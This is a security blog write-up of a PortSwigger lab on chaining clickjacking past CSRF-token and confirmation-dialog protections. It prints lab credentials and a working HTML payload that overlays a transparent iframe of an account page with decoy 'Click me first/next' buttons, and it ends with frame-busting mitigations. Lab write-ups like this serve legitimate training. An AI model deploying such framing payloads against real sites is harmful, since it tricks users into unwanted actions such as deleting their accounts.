Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Basic clickjacking with CSRF token protection

Basic clickjacking with CSRF token protection: This lab combines CSRF protection with a Clickjacking defense by requiring both a CSRF token and a confirmation dialog. • PortSwigger • Clickjacking • click-jacking

2022-11-231 tag
Tags

🎯 Objective

This lab combines CSRF protection with a Clickjacking defense by requiring both a CSRF token and a confirmation dialog.

Goal: Construct an attack that fools the victim into clicking the Delete Account button and then the confirmation dialog using "Click me first" and "Click me next" decoy actions.


🧭 Credentials

You can log in using the provided credentials:

text
wiener:peter

📄 Crafted Exploit Payload

html
<style>
  iframe {
    position: relative;
    width: 500px;
    height: 700px;
    opacity: 0.1;
    z-index: 2;
  }
  .firstClick, .secondClick {
    position: absolute;
    top: 495px;
    left: 50px;
    z-index: 1;
  }
  .secondClick {
    top: 290px;
    left: 205px;
  }
</style>

<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a84006f04b85a5dc03a453f00ec008a.web-security-academy.net/my-account"></iframe>

📸 Evidence

Exploit working


✅ Result

  • Victim was tricked into clicking both the Delete Account button and the confirmation dialog.
  • The lab was solved by chaining Clickjacking with CSRF bypass.

💡 Key Takeaway

  • Clickjacking attacks can bypass confirmation dialogs when combined with decoy UI elements.
  • Always use frame-busting headers (X-Frame-Options / Content-Security-Policy: frame-ancestors) to mitigate Clickjacking.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧭 Credentials
  3. 03📄 Crafted Exploit Payload
  4. 04📸 Evidence
  5. 05✅ Result
  6. 06💡 Key Takeaway
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.